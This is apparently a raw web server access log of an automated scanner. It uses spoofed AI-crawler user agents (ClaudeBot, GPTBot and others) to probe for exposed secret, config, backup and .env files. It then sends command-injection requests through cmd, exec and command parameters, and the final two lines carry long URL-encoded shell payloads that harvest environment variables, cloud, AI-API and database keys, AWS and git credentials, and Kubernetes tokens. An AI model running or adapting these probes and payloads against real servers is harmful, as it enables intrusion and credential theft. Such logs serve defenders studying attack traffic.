34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /secret.json HTTP/1.1" 200 20139 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /api/config.json HTTP/1.1" 200 20139 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /firebase.json HTTP/1.1" 200 20379 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /backend/config.json HTTP/1.1" 200 20379 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /.cursor/mcp.json HTTP/1.1" 200 1140 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /config/service-account.json HTTP/1.1" 200 1140 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /secrets/aws.json HTTP/1.1" 200 20663 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /deploy/service-account.json HTTP/1.1" 200 1140 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /config.php.bak HTTP/1.1" 200 20670 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /backend/aws.json HTTP/1.1" 200 20614 "-" "anthropic-ai"
nner/1.0"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /wp-config.php.save HTTP/1.1" 200 20614 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /config/config.php HTTP/1.1" 200 20536 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /.openclaw/openclaw.json HTTP/1.1" 200 20584 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /.openclaw/agents/main/agent/models.json HTTP/1.1" 200 20536 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /wp-config.php.orig HTTP/1.1" 200 20536 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /config/application.yml HTTP/1.1" 200 20563 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /database.php HTTP/1.1" 200 20563 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /config/credentials.yml.enc HTTP/1.1" 200 20563 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)"
34.125.219.56 - - [02/Aug/2026:08:31:32 +0200] "GET /config.yaml HTTP/1.1" 200 20543 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"
34.125.219.56 - - [02/Aug/2026:08:31:34 +0200] "GET /config.toml HTTP/1.1" 200 20647 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)"
34.125.219.56 - - [02/Aug/2026:08:31:34 +0200] "GET /config.yml HTTP/1.1" 200 20647 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)"
34.125.219.56 - - [02/Aug/2026:08:31:34 +0200] "GET /secrets.yml HTTP/1.1" 200 20647 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
34.125.219.56 - - [02/Aug/2026:08:31:34 +0200] "GET /config.ini HTTP/1.1" 200 20647 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com"
34.125.219.56 - - [02/Aug/2026:08:31:34 +0200] "GET /debug.log HTTP/1.1" 200 20658 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
34.125.219.56 - - [02/Aug/2026:08:31:34 +0200] "GET /storage/logs/laravel.log HTTP/1.1" 200 20643 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot"
34.125.219.56 - - [02/Aug/2026:08:31:34 +0200] "GET /web.config HTTP/1.1" 200 20643 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"
34.125.219.56 - - [02/Aug/2026:08:31:34 +0200] "GET /error.log HTTP/1.1" 200 20643 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)"
34.125.219.56 - - [02/Aug/2026:08:31:34 +0200] "GET /backup.sql HTTP/1.1" 200 20643 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)"
34.125.219.56 - - [02/Aug/2026:08:31:34 +0200] "GET /docker-compose.override.yml HTTP/1.1" 200 20643 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)"
34.125.219.56 - - [02/Aug/2026:08:31:34 +0200] "GET /dump.sql HTTP/1.1" 200 20713 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)"
34.125.219.56 - - [02/Aug/2026:08:31:34 +0200] "GET /database.sql HTTP/1.1" 200 20713 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)"
34.125.219.56 - - [02/Aug/2026:08:31:36 +0200] "GET /?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 20747 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)"
34.125.219.56 - - [02/Aug/2026:08:31:36 +0200] "GET /?command=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 20747 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)"
34.125.219.56 - - [02/Aug/2026:08:31:36 +0200] "GET /?exec=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 20747 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
34.125.219.56 - - [02/Aug/2026:08:31:38 +0200] "GET /?exec=%60echo+GSCAN_CMDI%60 HTTP/1.1" 200 20577 "-" "anthropic-ai"
34.125.219.56 - - [02/Aug/2026:08:31:38 +0200] "GET /?cmd=%60echo+GSCAN_CMDI%60 HTTP/1.1" 200 20557 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
34.125.219.56 - - [02/Aug/2026:08:31:38 +0200] "GET /?command=%60echo+GSCAN_CMDI%60 HTTP/1.1" 200 20566 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)"
34.125.219.56 - - [02/Aug/2026:08:31:42 +0200] "GET /?exec=%60echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END%60 HTTP/1.1" 200 20557 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
34.125.219.56 - - [02/Aug/2026:08:31:42 +0200] "GET /?cmd=%60echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END%60 HTTP/1.1" 200 27264 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot"
